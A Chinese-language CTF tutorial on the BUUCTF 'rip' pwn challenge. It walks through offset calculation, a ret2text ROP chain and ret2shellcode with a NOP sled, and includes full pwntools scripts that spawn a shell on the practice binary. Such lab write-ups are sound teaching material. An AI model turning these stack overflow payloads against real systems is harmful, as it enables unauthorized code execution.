栈溢出漏洞利用实战:从Ret2text到Ret2shellcode的PWN入门指南
2026/7/18 5:53:39 网站建设 项目流程

1. 项目概述:从一道经典PWN题看栈溢出利用的“道”与“术”

最近在带新人入门CTF的二进制安全方向,发现很多朋友在BUUCTF平台做那道名为“RIP”的入门题时,虽然能理解栈溢出的基本概念,但在实际构造payload时总会遇到各种“玄学”问题。比如,明明算好了偏移,脚本一跑却拿不到shell;或者本地测试成功,远程一打就失败。这道题本身并不复杂,但它像一块试金石,能清晰地暴露出一个初学者从理论理解到实战应用之间的沟壑。今天,我就结合自己踩过的坑,详细拆解这道题两种核心的payload写法,并附上可直接复现的Python pwntools脚本。无论你是刚接触PWN的新手,还是想巩固基础的老手,相信这篇从实战中凝练的指南,能帮你把“栈溢出”这个知识点真正焊死在脑子里。我们不止讲“怎么做”,更要深挖“为什么这么做”,以及“哪种做法在什么场景下更优”。

2. 环境准备与题目静态分析

在动手写exp之前,充分的准备工作能避免后续很多无谓的折腾。这道题名为“rip”,通常指代控制指令指针寄存器,直指漏洞利用的核心目标。

2.1 题目文件获取与基础检查

首先,从BUUCTF平台下载题目附件,通常是一个名为pwnrip的ELF可执行文件。拿到文件后,别急着运行,先用file命令看看它的基本信息:

file rip

输出很可能是rip: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=..., not stripped

这里有几个关键信息:64位程序动态链接没有去除符号表。64位意味着函数传参和栈帧结构与32位不同,这是我们构造payload时必须考虑的第一点。“not stripped”是个好消息,意味着调试时能看到函数名,分析起来更方便。

接着用checksec检查程序的安全编译选项:

checksec --file=rip

典型的输出可能如下:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments

这份“体检报告”至关重要:

  • Stack: No canary found:栈上没有金丝雀保护。这是我们能进行栈溢出攻击的前提。如果有栈保护,我们需要先泄露或绕过canary,难度会大增。
  • NX disabled数据执行保护未开启。这意味着我们注入到栈上的shellcode可以被执行。如果NX开启,我们则需要转向ROP等不依赖执行栈上代码的技术。
  • PIE: No PIE地址随机化未开启。程序中函数和变量的地址是固定的,我们可以直接使用如0x400000这样的绝对地址。如果PIE开启,所有地址在每次运行时都随机化,我们需要先泄露一个地址来计算基址。

注意checksec的结果是动态的,一定要以你实际下载的文件输出为准。但就“RIP”这道入门题而言,关闭这些保护是常态,旨在让学习者专注于理解溢出原理本身。

2.2 代码审计与漏洞点定位

由于程序没去符号,我们可以直接用objdumpreadelf查看,或者拖到IDA、Ghidra等反编译工具里更直观。这里以快速命令行分析为例,寻找入口和可疑函数:

objdump -d rip | grep -A 20 "<main>"

更常见的漏洞函数是gets,scanf,strcpy等不检查边界函数。我们可以搜索这些危险函数:

objdump -d rip | grep -E "gets|scanf|strcpy|read"

假设我们找到了一个调用了gets的函数,比如vulnmain本身。用反编译工具查看其伪代码,通常会看到类似这样的结构:

void vuln() { char s[15]; // 或类似的小缓冲区 gets(s); // 危险函数,溢出点 puts(s); }

或者直接在main里:

int main() { char buf[0xF]; // 15字节的缓冲区 gets(buf); return 0; }

漏洞成因gets函数会一直读取输入,直到遇到换行符或EOF,它完全不检查目标缓冲区的大小。如果我们的输入长度超过了为buf预留的栈空间(比如15字节),多出的数据就会覆盖栈上更高地址的内容,这其中就包括函数返回地址(Saved RIP)。

目标:我们的目标就是精确地控制被覆盖的返回地址,让它指向我们想要执行的代码,例如一个能获取shell的system("/bin/sh")调用,或者一块我们输入的shellcode。

2.3 计算精确偏移量

这是构造payload最关键的一步,错了后面全白搭。偏移量指的是从我们输入的缓冲区起始位置,到栈上保存的返回地址(RIP)之间的字节距离。

方法一:模式字符串生成与定位(推荐)使用cyclic工具(pwntools内置或单独安装)生成一段不易重复的字符串,输入给程序使其崩溃,然后根据崩溃时RIP寄存器的值反推偏移。

# 生成200个字符的模式串 cyclic 200 # 输出:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam...

将这段字符串作为程序的输入(可以通过python管道或写在文件里)。程序崩溃后,查看崩溃时RIP的值(在GDB中看$rip寄存器)。假设$rip = 0x6161616a(‘jaaa’的十六进制ASCII)。然后:

cyclic -l 0x6161616a # 或 cyclic -l jaaa

工具会告诉你这个值在模式串中的偏移位置,例如Offset: 23。这意味着在填满23个字节的垃圾数据后,下一个字节开始就会覆盖到RIP。

方法二:静态分析估算结合反编译看到的缓冲区大小(如char s[15])和汇编代码中栈帧布局来计算。在64位程序中,调用函数时,返回地址保存在[rbp+8]的位置。而缓冲区通常从[rbp-0x??]开始。所以偏移量 ≈ 缓冲区大小 +rbp到缓冲区起始的距离 + 8(覆盖掉旧的RBP本身)。这种方法不如动态调试准确,容易因编译器优化、栈对齐等因素出错,仅作为辅助验证。

实操心得务必使用cyclic动态验证偏移。我见过太多人静态算出来是“X”,一跑发现是“X+8”或“X-8”,就是因为没考虑栈对齐(Stack Alignment)或编译器预留的空间。对于这道题,偏移很可能是一个像23、27这样的值,记住它,我们马上要用。

3. 利用思路一:Ret2text(返回到程序本身代码)

这是最直接、最经典的利用方法,适用于程序中本身就有“后门”函数(如调用了system("/bin/sh")的函数)或者有现成的/bin/sh字符串和system调用的情况。

3.1 寻找可利用的代码与数据

首先,检查程序里有没有现成的“礼物”。用objdump或IDA搜索字符串:

strings rip | grep -i "/bin/sh"

如果找到了/bin/sh字符串,记下它的地址,例如0x400123

接着,寻找system函数的调用或它的PLT表地址。因为程序是动态链接的,system的地址会在运行时解析,但其在过程链接表(PLT)中的桩地址是固定的。

objdump -d rip | grep -E "system@plt|system" # 或 readelf -r rip | grep system

假设找到system@plt的地址是0x400520

更理想的情况是,程序里直接有一个这样的函数:

void shell() { system("/bin/sh"); }

它的地址,假设是0x400567,就是我们完美的跳转目标。

3.2 构造Payload与栈帧布局

在64位Linux下,函数调用遵循System V AMD64 ABI约定。前六个整型或指针参数依次通过寄存器RDI, RSI, RDX, RCX, R8, R9传递,多余的才通过栈传递。所以,要调用system(“/bin/sh”),我们需要:

  1. 将字符串“/bin/sh”的地址放入RDI寄存器。
  2. 跳转到system函数的地址。

如果我们找到的shell()函数已经帮我们做好了这两件事,那payload构造就非常简单:

payload = b'A' * offset + p64(shell_addr)

其中:

  • b'A' * offset是填充物,用于填满缓冲区直到覆盖RIP之前的所有空间。
  • p64(shell_addr)是用pwntools的p64函数将地址打包成64位小端序字节串,它正好覆盖了栈上的返回地址。

vuln函数执行ret指令时,会从栈顶弹出这个地址到RIP,CPU接下来就会去执行shell()函数里的代码。

如果没有现成的shell函数怎么办?我们需要自己构造一个简单的ROP链。这时需要寻找两个gadget:

  1. pop rdi; ret:用于将/bin/sh的地址弹出到rdi寄存器。
  2. 一个ret指令用于链式调用(在64位系统中,为了满足栈对齐要求,有时需要在system地址前多加一个retgadget)。

使用工具ROPgadget来搜索:

ROPgadget --binary rip | grep "pop rdi"

假设找到pop rdi; ret的地址是0x400123/bin/sh字符串地址是0x400200system@plt地址是0x400520。那么payload构造如下:

payload = b'A' * offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_plt)

栈布局解析

  • vuln函数ret后,RIP指向pop rdi; ret
  • pop rdi执行,将栈顶的下一个值(p64(bin_sh_addr))弹出到RDI寄存器,此时栈顶指向p64(system_plt)
  • pop rdi后的ret执行,跳转到system@plt
  • system函数开始执行,此时RDI寄存器里已经是/bin/sh的地址,因此成功调用system(“/bin/sh”)

3.3 Python pwntools脚本实现(Ret2text)

下面是一个完整的、注释详细的利用脚本模板:

#!/usr/bin/env python3 from pwn import * # 导入pwntools # 设置上下文,指定架构和操作系统,这对pwntools生成shellcode和打包数据很重要 context(arch='amd64', os='linux') # 如果你在本地调试,可以用 process # p = process('./rip') # 如果是远程题目,用 remote # p = remote('node4.buuoj.cn', 12345) # 替换成实际地址和端口 # 这里以本地为例 p = process('./rip') # 1. 关键地址(需要根据你的实际分析结果修改!!!) offset = 23 # 用cyclic计算出的偏移量 shell_addr = 0x400123 # 假设的shell函数地址 # 或者,如果是ROP链: pop_rdi_ret = 0x400123 bin_sh_addr = 0x400200 system_plt = 0x400520 # 2. 构造Payload # 方案A:直接跳转到shell函数 payload = b'A' * offset + p64(shell_addr) # 方案B:使用ROP链(如果方案A没有现成函数) # payload = b'A' * offset + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_plt) # 3. 发送Payload print(f"[*] Sending payload length: {len(payload)}") p.sendline(payload) # sendline会在末尾自动加\n,相当于回车。如果程序用gets接收,这没问题。 # 4. 切换到交互模式,拿到shell后就可以手动输入命令了 p.interactive()

注意事项:地址一定要替换成你自己分析出来的正确值!用0x开头的十六进制表示。p64()函数会自动处理成小端序。在发送前打印payload长度是个好习惯,可以确认是否与预期一致。

4. 利用思路二:Ret2shellcode(返回到栈上代码)

当程序没有现成的system调用,或者你想更深入地理解“代码执行”的本质时,Ret2shellcode是另一种选择。其核心是将一段能打开shell的机器指令(shellcode)作为输入的一部分注入到内存中,然后让程序跳转到这段指令的起始地址去执行。

4.1 Shellcode的生成与放置

首先,我们需要一段shellcode。pwntools可以很方便地生成:

shellcode = asm(shellcraft.sh()) # 生成amd64 Linux下的execve(‘/bin/sh’, 0, 0) shellcode print(len(shellcode)) # 查看长度,通常44字节左右

这段shellcode非常精简,其功能等同于执行execve(“/bin/sh”, NULL, NULL)

接下来是关键:把这串指令放在哪里,并让程序跳转过去?最直观的想法是放在我们输入的缓冲区里。但这里有个陷阱:我们的输入(缓冲区)在栈上,而函数返回时,栈指针RSP会发生变化。我们需要知道shellcode在内存中的确切地址,才能用这个地址去覆盖RIP。

4.2 确定Shellcode的地址

这是Ret2shellcode方法最大的难点和不确定性来源。地址猜不准,程序就会跳到莫名其妙的地方崩溃。有几种思路:

  1. 通过调试获取近似地址:在GDB中,在gets函数返回后、vuln函数返回前下断点,查看缓冲区起始地址(例如,$rbp-0x10)。这个地址在同一次运行、同一环境下是固定的。但问题在于,关闭ASLR时地址固定,开启ASLR或远程环境时,栈地址每次运行都可能变化。
  2. 利用栈地址泄露:如果程序在溢出前能打印出某个栈地址(比如缓冲区本身的地址),我们就可以计算出shellcode的相对位置。但这道题通常没有这种输出。
  3. NOP雪橇(NOP Sled):这是一种提高命中率的经典技术。我们在shellcode前面填充大量的NOP指令(机器码为0x90,代表“无操作”)。只要EIP跳转到这片NOP区域的任何位置,CPU都会一路“滑行”直到执行到我们的shellcode。这大大增加了我们猜测的跳转地址的命中范围。

4.3 构造Payload与利用脚本

假设我们通过调试,估算出缓冲区起始地址大约在0x7fffffffe000附近(这只是一个例子,每次都可能不同)。我们采用NOP雪橇技术。

#!/usr/bin/env python3 from pwn import * context(arch='amd64', os='linux') p = process('./rip') offset = 23 # 偏移量 # 估算的缓冲区地址(这是一个需要反复尝试的“魔法数字”) buf_addr = 0x7fffffffe000 # 生成shellcode shellcode = asm(shellcraft.sh()) shellcode_len = len(shellcode) # 构造Payload nop_sled = b'\x90' * 100 # 100字节的NOP雪橇 # payload结构:[填充至RIP] + [跳转地址] + [NOP雪橇] + [shellcode] # 注意:跳转地址应该指向NOP雪橇区域内的某个地址,比如比估算的buf_addr稍大一点,确保落在雪橇内。 jump_addr = buf_addr + 50 # 指向雪橇中部 payload = b'A' * offset + p64(jump_addr) + nop_sled + shellcode print(f"[*] Shellcode length: {shellcode_len}") print(f"[*] Total payload length: {len(payload)}") print(f"[*] Jumping to address: {hex(jump_addr)}") p.sendline(payload) p.interactive()

为什么这样布局?函数返回后,RIP被我们覆盖为jump_addr。CPU从那个地址开始执行,遇到的是0x90(NOP),什么都不做,只是将EIP加一,继续执行下一条指令,直到“滑”过所有NOP,紧接着就执行我们的shellcode。

致命陷阱与心得:Ret2shellcode在这道题上极不稳定,尤其是在远程环境下。原因如下:

  1. 栈地址随机化(ASLR):即使程序本身没开PIE,操作系统的栈地址随机化(ASLR)也可能是开启的。这导致每次运行,栈的基址都不同,我们很难猜中准确的buf_addr
  2. 栈空间不可执行(NX):虽然这道题检查显示NX disabled,但现代系统默认是开启NX的。如果NX开启,栈上的数据(包括我们的shellcode)只有读写权限,没有执行权限。CPU跳转过去会触发段错误(Segmentation Fault)。

因此,对于这道“RIP”题以及大多数现代环境下的PWN题,Ret2text(或更广义的ROP)是远比Ret2shellcode可靠和通用的方法。Ret2shellcode更适合用于教学原理,或者在一些极端受限(如没有libc)且关闭了所有保护的古旧系统中。

5. 两种方法的对比与实战选择

现在我们对两种方法有了深入理解,来做一个清晰的对比,并给出实战选择策略。

特性Ret2text / ROPRet2shellcode
核心原理复用程序自身或库中的代码片段(gadget)拼凑出目标功能。向进程内存注入并执行自定义的机器指令。
稳定性。依赖程序本身的固定地址,不受ASLR影响(PIE关闭时)。。严重依赖精确的内存地址,受栈ASLR和NX保护影响极大。
通用性。是现代二进制利用的主流技术,可对抗NX。通过构造复杂的ROP链能实现图灵完备。。在现代操作系统默认安全设置下很难成功。
利用条件需要程序中存在有用的gadget和字符串。需要可预测且可执行的内存区域来放置shellcode。
Payload长度通常较短,主要是地址序列。较长,包含NOP雪橇和shellcode本体。
学习价值理解函数调用约定、栈帧布局、ROP链构造。理解CPU执行本质、内存布局、shellcode编写。

对于BUUCTF “RIP”这道题,我们的选择非常明确:优先采用Ret2text方法。题目设计通常会在程序中预留shell函数或必要的gadget,目的是考察你对偏移计算和地址覆盖的基本掌握。Ret2shellcode在这种环境下更像是一个“理论练习”,用于理解漏洞利用的另一种可能性,但在实际攻击中条件过于苛刻。

实战步骤总结:

  1. 检查保护checksec确认NX关闭、PIE关闭,确保Ret2shellcode理论上可行,但Ret2text更稳。
  2. 寻找后门:用stringsobjdump/bin/shsystem或直接找shell函数。
  3. 计算偏移:用cyclic动态计算,这是铁律,不要静态猜。
  4. 构造ROP链(如果需要):找pop rdi; retretgadget。
  5. 编写并调试脚本:先本地用process()测试,确保能稳定拿到shell。
  6. 远程攻击:将脚本中的process(‘./rip’)改为remote(‘题目主机’, 端口),地址通常不变(因为PIE没开)。

6. 常见问题与调试技巧实录

即使理解了原理,实际操作中还是会遇到各种问题。这里记录几个最常见的“坑”和解决方法。

6.1 偏移量计算总是出错

  • 问题:用cyclic生成的字符串导致程序崩溃,但cyclic -l查到的偏移量代入脚本后,无法控制RIP。
  • 排查
    1. 确认你发送的payload长度是否正确。len(payload)应该等于offset + 8(64位地址是8字节)。
    2. 检查输入函数:程序用的是gets还是scanf(“%s”)?还是readgets会在遇到\n时停止,并将\n替换为\x00scanf(“%s”)会在遇到空白字符时停止。这通常不影响偏移,但如果你payload里有空格或\x00,可能会被截断。确保payload里没有意外的\x00p64()生成的地址高位可能是00)。
    3. 最可靠的验证方法:在脚本中发送payload = b’A’*offset + b’BBBBBBBB’(8个B)。用GDB附加运行程序,在函数返回前(ret指令处)下断点,观察栈上即将被弹出到RIP的值是不是0x4242424242424242(‘B’的ASCII)。如果不是,说明偏移不对。

6.2 本地成功,远程失败

  • 问题:本地用./rip测试能拿到shell,但连接到远程服务器同样的payload却没反应或直接断开。
  • 排查
    1. 库文件差异:本地和远程的libc版本可能不同,导致system函数的偏移或其他gadget地址不同。但“RIP”这类入门题通常不依赖libc地址,或者使用的函数地址是固定的(来自PLT)。首先检查你使用的地址是否是程序本身的地址(在0x4000000x8048000附近),而不是libc中的地址。
    2. 栈对齐问题(64位常见):System V ABI要求函数调用时栈指针RSP在调用瞬间必须16字节对齐。某些system的实现对此敏感。如果直接跳转到system@plt崩溃,可以尝试在system地址前加一个retgadget来调整栈指针。即把payload改成… + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_plt)。这个ret_addr就是一个只包含ret指令的gadget地址。
    3. 输入输出缓冲:远程连接可能存在缓冲。在发送payload后,尝试用p.recvuntil(‘something’)p.sendline(‘cat flag’)来触发交互。有时在p.interactive()前加一句p.clean()清空缓冲区也有用。
    4. 网络延迟与连接:确保远程地址和端口正确,网络通畅。可以尝试在脚本开头加context.log_level = ‘debug’,查看详细的发送接收数据。

6.3 使用pwntools时遇到奇怪错误

  • AttributeError: ‘module’ object has no attribute ‘asm’:确保安装了pwntools且版本较新。有时需要指定上下文:context.binary = ‘./rip’
  • GDB调试技巧:在脚本中,可以使用gdb.attach(p)在发送payload前暂停并启动GDB调试。或者用p = gdb.debug(‘./rip’, gdbscript=’…’)来启动带调试的程序。这对于观察内存布局、验证地址非常有用。
  • 地址打印:在脚本中多用print(hex(address))来确认你使用的地址是否正确。

6.4 关于获取flag的最终步骤

成功拿到shell后,你处于一个交互式环境。常见的获取flag的方式有:

# 直接查看flag文件(通常叫flag、flag.txt、flag.php等) cat flag cat flag.txt # 如果不知道名字,可以列出目录 ls -la # 有时flag在当前目录,有时在根目录或父目录 cat /flag # 如果权限不够,可能需要提权,但这道题通常不需要

如果cat被禁用,可以尝试more,less,head,tail,strings等命令。

最后,别忘了在脚本末尾关闭连接:p.close(),虽然交互模式下退出后会自动关闭。

这道“RIP”题就像二进制安全的“Hello World”,它剥离了复杂的保护机制,让你专注于最核心的栈溢出原理。掌握这两种payload的写法,特别是理解其背后的栈帧变化、寄存器控制和内存布局,是通往更高级PWN技术(如Ret2libc、堆利用、格式化字符串等)的坚实基石。多动手、多调试、多思考“为什么”,每一个坑踩过去,都是实实在在的进步。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询